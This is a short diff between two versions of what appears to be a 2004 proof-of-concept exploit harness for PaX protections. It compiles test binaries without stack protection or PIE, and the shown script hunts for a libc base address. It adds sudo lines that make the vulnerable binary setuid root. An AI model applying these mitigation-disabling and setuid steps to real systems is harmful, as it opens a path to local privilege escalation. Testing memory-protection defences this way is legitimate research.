diff -Nrup pax-poc/Makefile pax-poc-0.2/Makefile --- pax-poc/Makefile 2004-04-30 04:00:00.000000000 -0400 +++ pax-poc-0.2/Makefile 2004-05-02 18:40:48.000000000 -0400 @@ -5,8 +5,8 @@ # CC = gcc -CFLAGS = -Wall -ansi -pedantic -LDFLAGS = +CFLAGS = -Wall -ansi -pedantic -nopie -fno-stack-protector -fno-stack-protector-all +LDFLAGS = -nopie TARGETS = pax-exp pax-vul %: %.c @@ -19,3 +19,6 @@ all: $(TARGETS) clean: -$(RM) $(TARGETS) core* ELF* pax-tmp* + +test: all + CFLAGS="${CFLAGS}" LDFLAGS="${LDFLAGS}" ./pax-exp.sh diff -Nrup pax-poc/pax-exp.sh pax-poc-0.2/pax-exp.sh --- pax-poc/pax-exp.sh 2004-04-30 04:00:00.000000000 -0400 +++ pax-poc-0.2/pax-exp.sh 2004-05-02 19:07:13.000000000 -0400 @@ -79,7 +79,8 @@ int main(void) return 1; } EOF -gcc -o $temp.bin $temp.c +echo "[*] CFLAGS=${CFLAGS} LDFLAGS=${LDFLAGS}" +gcc -o $temp.bin $temp.c ${CFLAGS} ${LFDLAGS} ln -sf $temp.bin ELF ln -sf $temp.bin `printf "ELF\1\1\1"` @@ -116,6 +117,10 @@ while true; do pads=$[pads+1] done +[ -f /usr/bin/sudo ] && (sudo chown root:root ${vuln} ; sudo chmod 4755 ${vuln}) +echo "[*] $(file ${vuln})" +echo "[*] $(ls -ld ${vuln})" + while true; do echo "[*] Using ldd to find a possible libc base addr of vuln file" >&2